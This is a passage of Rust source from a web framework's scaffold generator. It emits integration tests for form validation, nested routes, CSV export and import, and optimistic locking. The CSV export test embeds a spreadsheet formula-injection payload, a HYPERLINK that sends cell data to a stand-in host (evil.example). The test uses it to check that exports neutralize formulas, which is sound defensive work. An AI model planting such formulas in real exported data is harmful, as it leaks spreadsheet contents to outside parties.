(_, Some(max)) => Some("x".repeat(usize::try_from(max + 1).unwrap_or(usize::MAX))),
// No `max`, and `min` is either absent or 0 — every string
// (including blank) satisfies this rule; there is nothing to
// violate.
_ => None,
};
}
None
}
/// Upper bound (in characters) on the sample literals
/// [`invalid_value_violating_rule`]/[`valid_value_satisfying_rule`] generate
/// for [`render_validation_rejection_smoke_test`]'s request bodies.
///
/// A declared `length:min=N`/`length:max=N` bound is an arbitrary
/// user-supplied `u64` with no upper limit enforced by the DSL parser — a
/// scaffold like `--validate title=length:min=1000000000` would otherwise
/// have the *generator* (not the generated app) allocate a multi-GB string
/// while rendering the smoke test, before a single file is even written.
/// [`length_bound_exceeds_sample_cap`] gates smoke-test emission on this
/// instead of silently truncating the sample (a truncated sample would
/// satisfy neither a huge `min` — too short — nor accurately violate a huge
/// `max`, making the generated test assert something false).
const MAX_GENERATED_VALIDATION_SAMPLE_LEN: u64 = 4096;
/// Whether a `length(...)` validation rule's declared bound(s) exceed
/// [`MAX_GENERATED_VALIDATION_SAMPLE_LEN`] — see that constant's doc comment.
/// Always `false` for non-length rules (`url`/`email` samples are small,
/// fixed-size literals).
fn length_bound_exceeds_sample_cap(rule: &str) -> bool {
let Some(args) = rule
.strip_prefix("length(")
.and_then(|s| s.strip_suffix(')'))
else {
return false;
};
args.split(',').any(|part| {
let part = part.trim();
part.strip_prefix("min = ")
.or_else(|| part.strip_prefix("max = "))
.and_then(|n| n.trim().parse::<u64>().ok())
.is_some_and(|bound| bound > MAX_GENERATED_VALIDATION_SAMPLE_LEN)
})
}
/// A value that *satisfies* a `--validate` rule string — the counterpart to
/// [`invalid_value_violating_rule`], used to build the successful submission
/// in [`render_validation_rejection_smoke_test`]. A fixed literal like `"a
/// valid value"` isn't valid for every rule (e.g. it's neither a URL/email,
/// nor within a tight `length:max=5` or `length:min=20` bound), so this
/// derives a value that actually fits the declared rule instead.
fn valid_value_satisfying_rule(rule: &str) -> String {
if rule == "url" {
return "https://example.com".to_owned();
}
if rule == "email" {
return "person@example.com".to_owned();
}
if let Some(args) = rule
.strip_prefix("length(")
.and_then(|s| s.strip_suffix(')'))
{
let mut min: Option<u64> = None;
let mut max: Option<u64> = None;
for part in args.split(',') {
let part = part.trim();
if let Some(n) = part.strip_prefix("min = ") {
min = n.trim().parse().ok();
} else if let Some(n) = part.strip_prefix("max = ") {
max = n.trim().parse().ok();
}
}
let len = match (min, max) {
(Some(min), Some(max)) => min.max(1).min(max),
(Some(min), None) => min.max(1),
(None, Some(max)) => max,
(None, None) => 1,
};
return "a".repeat(usize::try_from(len).unwrap_or(usize::MAX));
}
"a valid value".to_owned()
}
/// Render a `#[tokio::test]` proving issue #1124's core guarantee: a
/// submission that violates a declared `--validate` rule gets HTTP 422 with
/// the *other* submitted field preserved and an inline `role="alert"` error
/// message — not a 400 dead-end with input lost — and a fully valid
/// submission still succeeds.
///
/// Like [`render_unique_violation_smoke_test`]'s request-boundary check, this
/// redeclares a stand-in handler rather than importing the project's own code
/// (a `tests/*.rs` integration binary can't import a binary crate's modules —
/// see `docs/guide/tutorial/11-testing.md`). Unlike that raw-SQL stand-in,
/// this one uses the real, shipped `ChangesetForm`/`Changeset` extractor and
/// `text_input` helper directly — the exact mechanism the generated
/// `create`/`update` handlers are built on — so it needs no database at all;
/// it proves the round-trip mechanism itself, independent of the specific
/// scaffolded model's other field kinds (already exercised by the other
/// generated smoke tests).
fn render_validation_rejection_smoke_test(
plural: &str,
validations: &BTreeMap<String, Vec<String>>,
) -> String {
// Pick the first validated field whose declared rule actually has a
// violating value: a no-op rule (e.g. `length:min=0` with no `max`
// accepts every string, including blank) or one whose bound exceeds
// `MAX_GENERATED_VALIDATION_SAMPLE_LEN` (see that constant's doc comment)
// can't build a real "rejected" submission, so it's skipped in favor of
// another validated field rather than asserting a 422 the real server
// would never return.
let Some((target_name, rule, invalid_value)) = validations.iter().find_map(|(name, rules)| {
let rule = rules.first().cloned().unwrap_or_default();
if length_bound_exceeds_sample_cap(&rule) {
return None;
}
let invalid_value = invalid_value_violating_rule(&rule)?;
Some((name, rule, invalid_value))
}) else {
return String::new();
};
let valid_value = valid_value_satisfying_rule(&rule);
let witness_value = "preserved-witness-value";
format!(
"\n#[tokio::test]\n\
async fn {plural}_rejects_invalid_{target_name}_and_preserves_input() {{\n\
\x20\x20\x20\x20use autumn_web::form::ChangesetForm;\n\
\x20\x20\x20\x20use autumn_web::test::{{TestApp, TestClient}};\n\
\n\
\x20\x20\x20\x20#[derive(serde::Deserialize, serde::Serialize, Default, validator::Validate, Clone)]\n\
\x20\x20\x20\x20struct Form {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20#[validate({rule})]\n\
\x20\x20\x20\x20\x20\x20\x20\x20{target_name}: String,\n\
\x20\x20\x20\x20\x20\x20\x20\x20other_field: String,\n\
\x20\x20\x20\x20}}\n\
\n\
\x20\x20\x20\x20#[post(\"/{plural}\")]\n\
\x20\x20\x20\x20async fn create(form: ChangesetForm<Form>) -> impl IntoResponse {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20match form.into_valid() {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Ok(_) => StatusCode::OK.into_response(),\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Err(form) => (\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20StatusCode::UNPROCESSABLE_ENTITY,\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20html! {{\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20(autumn_web::form::text_input(&form.changeset, \"{target_name}\", \"{target_name}\"))\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20(autumn_web::form::text_input(&form.changeset, \"other_field\", \"other_field\"))\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}},\n\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20).into_response(),\n\
\x20\x20\x20\x20\x20\x20\x20\x20}}\n\
\x20\x20\x20\x20}}\n\
\n\
\x20\x20\x20\x20let client: TestClient = TestApp::new().routes(routes![create]).build();\n\
\n\
\x20\x20\x20\x20// A submission violating the declared rule must respond 422, echo the\n\
\x20\x20\x20\x20// *other* field's submitted value (input is preserved, not lost), and\n\
\x20\x20\x20\x20// carry an inline, accessible error message (AC2, AC3, AC4).\n\
\x20\x20\x20\x20let invalid_body = format!(\"{target_name}={invalid_value}&other_field={witness_value}\");\n\
\x20\x20\x20\x20client.post(\"/{plural}\").form(&invalid_body).send().await\n\
\x20\x20\x20\x20\x20\x20\x20\x20.assert_status(422)\n\
\x20\x20\x20\x20\x20\x20\x20\x20.assert_body_contains(\"{witness_value}\")\n\
\x20\x20\x20\x20\x20\x20\x20\x20.assert_body_contains(\"role=\\\"alert\\\"\");\n\
\n\
\x20\x20\x20\x20// A fully valid submission still succeeds (AC5).\n\
\x20\x20\x20\x20let valid_body = format!(\"{target_name}={valid_value}&other_field={witness_value}\");\n\
\x20\x20\x20\x20client.post(\"/{plural}\").form(&valid_body).send().await\n\
\x20\x20\x20\x20\x20\x20\x20\x20.assert_status(200);\n\
}}\n"
)
}
/// Render the nested parent/child write-path test (issue #1323 AC7), appended to
/// `tests/<snake>.rs` for a `--belongs-to` scaffold.
///
/// Pins the three claims the nesting makes, in one in-process `#[tokio::test]`:
///
/// * creating a child under a parent redirects (303 PRG) to that parent's show
/// route — the same contract the generated `nested_create` handler has;
/// * the child then appears in **that** parent's list;
/// * and it does **not** appear under a different parent — the negative half,
/// which is what makes the parent-scoping assertion have teeth.
///
/// Plus the security claim the nested create rests on: a body-supplied foreign
/// key is ignored, because the handler overwrites it from the path before
/// validating.
///
/// Like every other generated write-path test this drives a stand-in resource
/// rather than the project's own handlers (a `tests/*.rs` integration binary
/// cannot import a binary crate's modules) and needs no database, so it is a
/// visible green rather than an `#[ignore]`d one.
#[allow(
clippy::too_many_lines,
reason = "a single verbatim test template plus its placeholder substitutions"
)]
fn render_nested_write_path_smoke_test(
pascal_name: &str,
plural: &str,
nesting: &super::nested::Nesting,
) -> String {
const TEMPLATE: &str = r#"
// ── nested parent/child write path (issue #1323) ──────────────────────────
//
// create child under parent -> child appears in THAT parent's list -> child
// does NOT appear under a different parent. `TestApp::new()` disables CSRF, so
// these same-origin form POSTs need no `_csrf` token (the real
// form_for-rendered inline form injects one for the browser).
#[tokio::test]
async fn __PLURAL___nested_under_parent() {
use autumn_web::test::{TestApp, TestClient};
// A process-local stand-in for the persistence layer: `(id, parent_id, name)`
// rows shared across requests within this test. No database required.
static NESTED_STORE: std::sync::Mutex<Vec<(i64, i64, String)>> =
std::sync::Mutex::new(Vec::new());
#[derive(serde::Deserialize, serde::Serialize, Default, validator::Validate, Clone)]
struct NestedForm {
#[validate(length(min = 1, message = "must not be blank"))]
name: String,
// Mirrors the generated `__PASCAL__Form`: the parent foreign key carries
// `#[serde(default)]` because the nested inline form renders no control
// for it, so a nested submission legitimately omits it.
#[serde(default)]
__FK__: String,
}
#[get("/__PARENT_PLURAL__/{__FK__}/__PLURAL__")]
async fn nested_index(__FK__: Path<i64>) -> Markup {
let store = NESTED_STORE.lock().unwrap();
html! {
h1 { "__PLURAL__ for __PARENT_PLURAL__ " (*__FK__) }
ul {
@for (_, parent, name) in store.iter() {
@if *parent == *__FK__ { li { (name.as_str()) } }
}
}
}
}
#[post("/__PARENT_PLURAL__/{__FK__}/__PLURAL__")]
async fn nested_create(__FK__: Path<i64>, form: ChangesetForm<NestedForm>) -> impl IntoResponse {
match form.into_valid() {
Ok(mut valid) => {
// The parent is the ROUTE, never the payload -- exactly what the
// generated handler does before it validates and inserts.
valid.__FK__ = __FK__.to_string();
let parent: i64 = valid.__FK__.parse().unwrap_or_default();
let mut store = NESTED_STORE.lock().unwrap();
let id = store.iter().map(|(i, _, _)| *i).max().unwrap_or(0) + 1;
store.push((id, parent, valid.name));
Redirect::to(&format!("/__PARENT_PLURAL__/{}", *__FK__)).into_response()
}
Err(form) => (
StatusCode::UNPROCESSABLE_ENTITY,
html! { (autumn_web::form::text_input(&form.changeset, "name", "name")) },
)
.into_response(),
}
}
let client: TestClient = TestApp::new()
.routes(routes![nested_index, nested_create])
.build();
// Create a child under parent 1: PRG redirects (303 See Other) to that
// parent's show page, not to the child's own index.
client
.post("/__PARENT_PLURAL__/1/__PLURAL__")
.form("name=under-parent-one")
.send()
.await
.assert_status(303)
.assert_header("location", "/__PARENT_PLURAL__/1");
// It shows up in THAT parent's list ...
client
.get("/__PARENT_PLURAL__/1/__PLURAL__")
.send()
.await
.assert_ok()
.assert_body_contains("under-parent-one");
// ... and NOT under a different parent. This negative is the whole point of
// the nested read route: a list scoped to one parent must never leak
// another's rows.
let other_parent = client.get("/__PARENT_PLURAL__/2/__PLURAL__").send().await;
other_parent.assert_ok();
assert!(
!other_parent.text().contains("under-parent-one"),
"a child must not appear under a different parent:\n{}",
other_parent.text()
);
// A hand-crafted body carrying its own foreign key cannot re-parent the
// child: the path wins, because the handler overwrites the field before it
// validates.
client
.post("/__PARENT_PLURAL__/2/__PLURAL__")
.form("name=path-wins&__FK__=1")
.send()
.await
.assert_status(303);
let parent_one = client.get("/__PARENT_PLURAL__/1/__PLURAL__").send().await;
assert!(
!parent_one.text().contains("path-wins"),
"a submitted __FK__ must not override the parent in the URL:\n{}",
parent_one.text()
);
client
.get("/__PARENT_PLURAL__/2/__PLURAL__")
.send()
.await
.assert_body_contains("path-wins");
// An invalid submission re-renders at 422 with an inline error and persists
// nothing -- the parent's list is unchanged.
client
.post("/__PARENT_PLURAL__/1/__PLURAL__")
.form("name=")
.send()
.await
.assert_status(422)
.assert_body_contains("role=\"alert\"");
let after = client.get("/__PARENT_PLURAL__/1/__PLURAL__").send().await;
assert!(
after.text().matches("<li>").count() == 1,
"a rejected create must not persist a row:\n{}",
after.text()
);
}
"#;
TEMPLATE
.replace("__PARENT_PLURAL__", &nesting.parent_plural)
.replace("__PASCAL__", pascal_name)
.replace("__FK__", &nesting.fk)
.replace("__PLURAL__", plural)
}
/// Render the generated `tests/<snake>.rs` CSV-download test (issue #1315, AC6).
///
/// Like [`render_write_path_smoke_test`] this drives a stand-in resource rather
/// than the real `routes::{plural}::export_csv` — a `tests/` binary cannot
/// import a project's own code when the project has no `src/lib.rs`, so the
/// stand-in restates the model's column list and the two cell expressions the
/// generated impl uses (`unwrap_or_default()` for a NULL, `csv_text_cell` for
/// text).
///
/// What it proves is the DOWNLOAD CONTRACT end to end on the real shipped
/// primitives: `export_csv` writing RFC 4180, `Download` deriving
/// `Content-Type`/`Content-Disposition`/`Content-Length` from the `.csv`
/// filename, the formula guard surviving into the body, and the whole
/// in-process request pipeline. It does NOT pin `src/routes/{plural}.rs`'s
/// `csv_columns` — nothing in a `tests/` binary can see that impl; the
/// generator-side tests (`csv_columns_cover_every_scaffolded_column_in_
/// declaration_order`, `csv_value_expr_never_stringifies_an_option_as_none`)
/// own that.
///
/// Needs no database, so it is NOT `#[ignore]`d — it runs on a bare `cargo test`.
#[allow(clippy::too_many_lines)] // the emitted test body is one raw-string template
fn render_csv_export_smoke_test(plural: &str, fields: &[Field]) -> String {
use std::fmt::Write as _;
// The header row `export_csv` writes: `id` plus the model's own columns, in
// the same order the generated `CsvSchema::csv_columns` lists them.
let mut columns = String::from("\"id\"");
let mut header_row = String::from("id");
// `created_at` closes the list, matching `render_csv_schema_impl`.
let names: Vec<&str> = fields
.iter()
.map(|f| f.name.as_str())
.chain(std::iter::once("created_at"))
.collect();
for name in &names {
let _ = write!(columns, ", \"{name}\"");
let _ = write!(header_row, ",{name}");
}
// Three rows, each isolating one rule. Every cell is an `Option<String>` so
// `None` genuinely models a NULL column: if the emitted expression were a
// debug format instead of `unwrap_or_default()`, the `None` assertion below
// would fire. Rows 2 and 3 put the interesting value in the FIRST cell and
// leave the rest NULL.
let cells = |first: &str| -> String {
let mut out = String::new();
for (i, _) in names.iter().enumerate() {
if i > 0 {
out.push_str(", ");
}
if i == 0 {
out.push_str(first);
} else {
out.push_str("None");
}
}
out
};
let filled_cells = names
.iter()
.map(|name| format!("Some(\"{name}-value\".to_owned())"))
.collect::<Vec<_>>()
.join(", ");
// `a,b "q"` + a newline: every character RFC 4180 has a rule for.
let quoting_cells = cells("Some(\"a,b \\\"q\\\"\\nz\".to_owned())");
// The classic exfiltration payload a colleague's spreadsheet would execute.
let formula_cells = cells(
"Some(\"=HYPERLINK(\\\"https://evil.example/?d=\\\"&A2,\\\"quarterly report\\\")\".to_owned())",
);
format!(
"\n\
// ── CSV export download (issue #1315) ─────────────────────────────────────\n\
//\n\
// Drives the same `export_csv` + `Download` pair the generated\n\
// `GET /{plural}/export.csv` handler uses. Proves the download contract\n\
// (200, `text/csv`, an `attachment` disposition, the header row) and the\n\
// three cell rules the export depends on: a NULL column is an EMPTY cell,\n\
// a value containing a comma/quote/newline is RFC 4180 quoted, and a value\n\
// that looks like a spreadsheet formula is neutralized.\n\
//\n\
// The row type is a stand-in -- a `tests/` binary cannot import this\n\
// project's own modules (see `docs/guide/tutorial/11-testing.md`) -- so it\n\
// restates the column list and the two cell expressions from\n\
// `src/routes/{plural}.rs`. Keep them in step if you edit that impl.\n\
//\n\
// No database required, so this runs on a plain `cargo test`.\n\
#[tokio::test]\n\
async fn {plural}_export_csv_downloads_a_spreadsheet() {{\n \
use autumn_web::test::{{TestApp, TestClient}};\n\n \
/// Mirror of `src/routes/{plural}.rs`'s `csv_text_cell`.\n \
fn csv_text_cell(value: String) -> String {{\n \
if value.starts_with(['=', '+', '-', '@', '\\t', '\\r']) {{\n \
let mut guarded = String::with_capacity(value.len() + 1);\n \
guarded.push('\\'');\n \
guarded.push_str(&value);\n \
guarded\n \
}} else {{\n \
value\n \
}}\n \
}}\n\n \
/// Stand-in for the scaffolded model: `id` plus one cell per column, in\n \
/// the order `src/routes/{plural}.rs`'s `CsvSchema` impl lists them.\n \
/// `None` is a NULL column.\n \
struct ExportRow {{\n \
id: i64,\n \
cells: Vec<Option<String>>,\n \
}}\n\n \
impl autumn_web::data::csv::CsvSchema for ExportRow {{\n \
fn csv_columns() -> &'static [&'static str] {{\n \
&[{columns}]\n \
}}\n\n \
fn to_csv_record(&self) -> Vec<String> {{\n \
let mut record = vec![self.id.to_string()];\n \
record.extend(\n \
self.cells\n \
.iter()\n \
.map(|cell| csv_text_cell(cell.clone().unwrap_or_default())),\n \
);\n \
record\n \
}}\n \
}}\n\n \
#[get(\"/{plural}/export.csv\")]\n \
async fn export_csv() -> AutumnResult<autumn_web::download::Download> {{\n \
let rows = vec![\n \
ExportRow {{ id: 1, cells: vec![{filled_cells}] }},\n \
ExportRow {{ id: 2, cells: vec![{quoting_cells}] }},\n \
ExportRow {{ id: 3, cells: vec![{formula_cells}] }},\n \
];\n \
let mut body: Vec<u8> = Vec::new();\n \
autumn_web::data::csv::export_csv(rows, &mut body)?;\n \
Ok(autumn_web::download::Download::from_bytes(body).filename(\"{plural}.csv\"))\n \
}}\n\n \
let client: TestClient = TestApp::new().routes(routes![export_csv]).build();\n \
let response = client.get(\"/{plural}/export.csv\").send().await;\n \
response\n \
.assert_ok()\n \
.assert_header_contains(\"content-type\", \"text/csv\")\n \
.assert_header_contains(\"content-disposition\", \"attachment\")\n \
.assert_header_contains(\"content-disposition\", \"filename=\\\"{plural}.csv\\\"\")\n \
// The header row is the model's columns, in `csv_columns` order.\n \
.assert_body_contains(\"{header_row}\");\n\n \
let body = response.text();\n \
// Rows 2 and 3 carry NULL cells: those are EMPTY, never the literal\n \
// `None` a debug format would print.\n \
assert!(\n \
!body.contains(\"None\"),\n \
\"a NULL column must export as an empty cell, not `None`:\\n{{body}}\"\n \
);\n \
// RFC 4180: an embedded double quote is doubled and the whole field is\n \
// quoted, so a comma or newline inside it never splits the row.\n \
assert!(\n \
body.contains(\"\\\"\\\"q\\\"\\\"\"),\n \
\"a value containing a quote must be RFC 4180 escaped:\\n{{body}}\"\n \
);\n \
// A leading `=` is neutralized, so a spreadsheet shows the text instead\n \
// of executing it against the rest of the sheet.\n \
assert!(\n \
body.contains(\"'=HYPERLINK\"),\n \
\"a formula-looking value must be prefixed so the sheet treats it as text:\\n{{body}}\"\n \
);\n\
}}\n"
)
}
/// Render the CSV import test (issue #1393, AC6) appended to
/// `tests/<snake>.rs`.
///
/// Emitted under exactly the gate that decides whether the import routes exist
/// at all, alongside the export's download test.
///
/// Like every #1127-style generated test this drives a STAND-IN resource rather
/// than the app's own handler — a `tests/*.rs` integration binary cannot import
/// a binary crate's modules (see `docs/guide/tutorial/11-testing.md`) — but it
/// drives the REAL shipped primitives the generated handler is built on: the
/// `Multipart` extractor, `import_csv`, `ImportMode::DryRun`, and the
/// `ImportReport` the preview is rendered from. It needs no database (a
/// process-local store stands in for the persistence layer), so it is a visible
/// green rather than an `#[ignore]`d test, and its assertions have real failure
/// power: a handler that wrote on a dry run, lost the bad row's line number, or
/// silently dropped the valid one turns it red.
#[allow(
clippy::too_many_lines,
reason = "the body is one emitted test template — splitting it would break \
the generated file into fragments no reader wants to reassemble"
)]
fn render_csv_import_smoke_test(plural: &str) -> String {
const TEMPLATE: &str = r#"
// ── CSV import: dry-run preview, then commit (issue #1393) ─────────────────
//
// The two halves of the import contract, driven through the same primitives
// `POST /__PLURAL__/import` uses:
//
// * a submit that does NOT confirm runs `ImportMode::DryRun`, reports one
// insertable row and one row error carrying the bad row's LINE NUMBER, and
// writes nothing;
// * a submit that confirms writes exactly the valid row.
//
// The uploaded file is two data rows, one valid and one not, so "1 good, 1 bad"
// is proven rather than assumed. The resource here is a stand-in (a `tests/`
// binary cannot import this project's own modules — see
// `docs/guide/tutorial/11-testing.md`) with one deliberately simple validation
// rule; the real handler runs the model's own `#[validate(...)]` rules through
// the same `Changeset` a form submission goes through.
//
// No database required, so this runs on a plain `cargo test`.
//
// CSRF: `TestApp::new()` disables CSRF (like Spring Security's test support),
// so this multipart POST carries no `_csrf` token. The real, generated upload
// form renders the CSRF and submit-token hidden inputs as its FIRST fields for
// the browser; the in-process harness does not require them, and this note
// records that the absent token is intentional.
#[tokio::test]
async fn __PLURAL___csv_import_previews_then_commits() {
use autumn_web::data::csv::{ImportMode, ImportOptions, ImportRowResult, import_csv};
use autumn_web::test::{TestApp, TestClient};
use std::sync::{Mutex, OnceLock};
/// Stands in for the persistence layer: the titles that were really written.
fn store() -> &'static Mutex<Vec<String>> {
static STORE: OnceLock<Mutex<Vec<String>>> = OnceLock::new();
STORE.get_or_init(|| Mutex::new(Vec::new()))
}
/// A `multipart/form-data` body (boundary `BOUND`) with the CSV file part
/// and, optionally, the `commit` confirmation. `None` models an UNCHECKED
/// checkbox, which submits no part at all — that absence is what keeps a
/// dry run the default.
fn probe_body(csv: &str, commit: Option<&str>) -> String {
let mut out = String::new();
out.push_str("--BOUND\r\n");
out.push_str("Content-Disposition: form-data; name=\"file\"; filename=\"rows.csv\"\r\n");
out.push_str("Content-Type: text/csv\r\n\r\n");
out.push_str(csv);
out.push_str("\r\n");
if let Some(commit) = commit {
out.push_str("--BOUND\r\n");
out.push_str("Content-Disposition: form-data; name=\"commit\"\r\n\r\n");
out.push_str(commit);
out.push_str("\r\n");
}
out.push_str("--BOUND--\r\n");
out
}
#[post("/__PLURAL__/import-probe")]
async fn import_probe(
mut multipart: autumn_web::extract::Multipart,
) -> AutumnResult<String> {
let mut uploaded: Vec<u8> = Vec::new();
let mut commit = false;
while let Some(field) = multipart.next_field().await? {
// `name()` borrows the field, which the consuming read below moves.
let field_name = field.name().map(str::to_owned);
match field_name.as_deref() {
Some("file") => uploaded = field.bytes_limited().await?,
Some("commit") => {
let value =
String::from_utf8(field.bytes_limited().await?).unwrap_or_default();
commit = matches!(value.trim(), "1" | "on" | "true" | "yes");
}
_ => {}
}
}
let options = ImportOptions {
mode: if commit {
ImportMode::Insert
} else {
ImportMode::DryRun
},
..ImportOptions::default()
};
// Collected during the parse pass and written afterwards, because
// `import_csv`'s handler is a synchronous closure that cannot await a
// write — the same reason the generated handler defers to
// `save_many_skip_invalid` after the pass rather than writing per row.
let mut pending: Vec<String> = Vec::new();
let report = import_csv(&uploaded[..], &options, |_line, row, _mode| {
let title = row
.get("title")
.map(String::as_str)
.unwrap_or_default()
.trim()
.to_owned();
if title.is_empty() {
return ImportRowResult::FieldError {
column: "title".to_owned(),
message: "must not be blank".to_owned(),
};
}
if commit {
pending.push(title);
}
ImportRowResult::Inserted
});
if commit {
store().lock().expect("import store").extend(pending);
}
Ok(format!(
"read {} / would insert {} / errors {} / first error line {}",
report.total_rows(),
report.inserted,
report.errors.len(),
// `iter().next()`, not `first()`: this test imports
// `diesel::prelude::*`, whose `RunQueryDsl::first` also applies here.
report.errors.iter().next().map_or(0, |error| error.line),
))
}
/// What actually got written, so the assertions below are about persisted
/// rows rather than about the handler's own report of itself.
#[get("/__PLURAL__/import-probe/written")]
async fn written() -> String {
store().lock().expect("import store").join(",")
}
let client: TestClient = TestApp::new()
.routes(routes![import_probe, written])
.build();
// Line 1 is the header, line 2 is valid, line 3 has a blank `title`.
let csv = "title,note\r\nKeep me,fine\r\n,blank title\r\n";
// ── the dry run ────────────────────────────────────────────────────────
let preview = client
.post("/__PLURAL__/import-probe")
.header("content-type", "multipart/form-data; boundary=BOUND")
.body(probe_body(csv, None))
.send()
.await;
preview
.assert_ok()
.assert_body_contains("read 2")
.assert_body_contains("would insert 1")
.assert_body_contains("errors 1")
// The line number is what makes the report actionable: the operator has
// to be able to find the bad row in the file they uploaded.
.assert_body_contains("first error line 3");
let after_preview = client
.get("/__PLURAL__/import-probe/written")
.send()
.await
.text();
assert!(
after_preview.is_empty(),
"a dry run must not write: store held {after_preview:?}"
);
// ── the confirmed commit ───────────────────────────────────────────────
client
.post("/__PLURAL__/import-probe")
.header("content-type", "multipart/form-data; boundary=BOUND")
.body(probe_body(csv, Some("1")))
.send()
.await
.assert_ok()
.assert_body_contains("would insert 1")
.assert_body_contains("errors 1");
let after_commit = client
.get("/__PLURAL__/import-probe/written")
.send()
.await
.text();
assert_eq!(
after_commit, "Keep me",
"exactly the valid row must persist, and the invalid one must not"
);
}
"#;
TEMPLATE.replace("__PLURAL__", plural)
}
/// Render the write-path portion of `tests/<snake>.rs` (issue #1127): one
/// in-process `#[tokio::test]` that exercises the full mutating surface —
/// create (happy path), update, delete, AND the validation-failure re-render —
/// through `autumn_web::test::{TestApp, TestClient}`.
///
/// Like the read index smoke test, this redeclares a *stand-in* CRUD resource
/// rather than importing the project's own handlers (a `tests/*.rs` integration
/// binary can't import a binary crate's modules — see
/// `docs/guide/tutorial/11-testing.md`). It proves the write-path *request
/// mechanism* on the real, shipped primitives the generated handlers are built
/// on — the `ChangesetForm`/`Changeset` round-trip (issue #1124), the typed
/// `text_input` renderer, and `Redirect` — independent of the specific model's
/// columns (already exercised by the other generated smoke tests). Its redirect
/// contract mirrors the generated handlers exactly: those now redirect with
/// `Redirect::to(...)` (a real 303 See Other with a `Location` header), the same
/// primitive `docs/guide/path-helpers.md` recommends over a meta-refresh page —
/// create/delete to the index route, update to the show route:
///
/// * a valid `POST` redirects (303 See Other) to the index route and the row is
/// observable on a follow-up read (create);
/// * a `POST` to the `/{id}/update` route redirects (303) to the show route and
/// the change is observable on a follow-up read (update);
/// * a `POST` to the generated `/{id}/delete` HTML action (issue #1021)
/// redirects (303) and the row is gone on the next read (delete);
/// * an invalid `POST` re-renders the form at 422 with the submitted input
/// preserved and an inline `role="alert"` error — it does NOT redirect and
/// does NOT persist (validation failure, issue #1124).
///
/// It needs no database: a process-local in-memory store stands in for the
/// persistence layer, so the whole write-path suite runs in-process with zero
/// external services and is a visible green (never `#[ignore]`d) — the row-count
/// assertions on each read give it real failure power, so a broken handler (a
/// 200 instead of a redirect, a no-op delete, a create that skips validation)
/// turns it red.
///
/// CSRF: `TestApp::new()` disables CSRF (like Spring Security's test support),
/// so these same-origin form `POST`s carry no `_csrf` token. The real,
/// `form_for`-rendered forms (PR #1587) auto-inject a hidden CSRF field for the
/// browser; the in-process harness does not require it, and this comment
/// records that so the absent token reads as intentional, not a gap.
/// Render the optimistic-locking stale-write test (issue #1318, AC6).
///
/// Emitted only for a scaffold whose model declares `lock_version`, alongside
/// [`render_write_path_smoke_test`] and in the same in-process style: a
/// process-local store stands in for the persistence layer, so it runs with no
/// database and is a visible green rather than an `#[ignore]`d one.
///
/// The stand-in `update` mirrors the generated handler's contract — a
/// compare-and-swap on the submitted version, a 409 re-render carrying the
/// author's own input plus the row's CURRENT version, and a version bump only on
/// the winning write:
///
/// * a submit carrying a stale version responds 409, re-renders the author's
/// input, and leaves the stored row EXACTLY as the other writer left it;
/// * a submit carrying the current version redirects (303) and bumps the
/// version, so the next stale submit is rejected against the new value.
///
/// The 409 body hands back the fresh version deliberately: re-rendering the
/// stale one would make the form permanently unsavable, since every resubmit
/// would lose the same race again.
///
/// SCOPE, stated plainly: like every #1127-style generated test this exercises
/// the *request mechanism* against a stand-in, not the app's own handler (a
/// `tests/*.rs` binary cannot import a binary crate's modules). It pins the
/// contract a reader can then hold the handler to; it does NOT fail if the
/// emitted `WHERE lock_version = ...` guard is removed. Two other tests cover
/// that: `lock_version_update_guards_the_write_and_bumps_the_version` in the
/// generator's own suite asserts the emitted statement, and
/// `autumn-cli/tests/integration/generate_lock_version_postgres.rs` runs the
/// generated migration and statement against real Postgres — including two
/// concurrent transactions — to prove the semantics.
fn render_optimistic_lock_smoke_test(plural: &str) -> String {
const TEMPLATE: &str = r#"
// -- optimistic locking: stale write is rejected (issue #1318) --------------
//
// Two authors open the same row; the second one to save must not silently
// clobber the first. Exercises the generated update handler's contract against
// a stand-in resource: compare-and-swap on the submitted `lock_version`, a 409
// re-render (never a redirect, never a dead-end error page) when it is stale,
// and a version bump only on the write that wins.
#[tokio::test]
async fn __PLURAL___optimistic_lock_conflict() {
use autumn_web::test::{TestApp, TestClient};
// `(id, name, lock_version)` — the process-local stand-in for the row.
static ROW: std::sync::Mutex<(i64, String, i32)> =
std::sync::Mutex::new((1, String::new(), 0));
#[get("/__PLURAL__/{id}")]
async fn show(id: Path<i64>) -> Markup {
let _ = id;
let row = ROW.lock().unwrap();
html! { p { "name=" (row.1.as_str()) " lock_version=" (row.2) } }
}
#[post("/__PLURAL__/{id}/update")]
async fn update(id: Path<i64>, body: autumn_web::reexports::axum::body::Bytes) -> impl IntoResponse {
let expected: i32 = url::form_urlencoded::parse(body.as_ref())
.find(|(key, _)| key == "lock_version")
.and_then(|(_, value)| value.parse().ok())
.unwrap_or(-1);
let submitted: String = url::form_urlencoded::parse(body.as_ref())
.find(|(key, _)| key == "name")
.map(|(_, value)| value.into_owned())
.unwrap_or_default();
let mut row = ROW.lock().unwrap();
// Compare-and-swap, exactly like the generated
// `WHERE lock_version = $expected ... SET lock_version = lock_version + 1`.
if row.2 != expected {
// Stale: re-render the author's own input with the CURRENT version,
// so a second Save applies their edit on top of the newer row.
return (
StatusCode::CONFLICT,
html! {
p role="alert" { "This record was changed by someone else since you opened it." }
input type="hidden" name="lock_version" value=(row.2);
input type="text" name="name" value=(submitted.as_str());
},
)
.into_response();
}
row.1 = submitted;
row.2 += 1;
Redirect::to(&format!("/__PLURAL__/{}", *id)).into_response()
}
let client: TestClient = TestApp::new().routes(routes![show, update]).build();
// Both authors opened the row at version 0. The first save wins: 303 to the
// show page, and the version is bumped to 1.
client
.post("/__PLURAL__/1/update")
.form("name=first-author&lock_version=0")
.send()
.await
.assert_status(303)
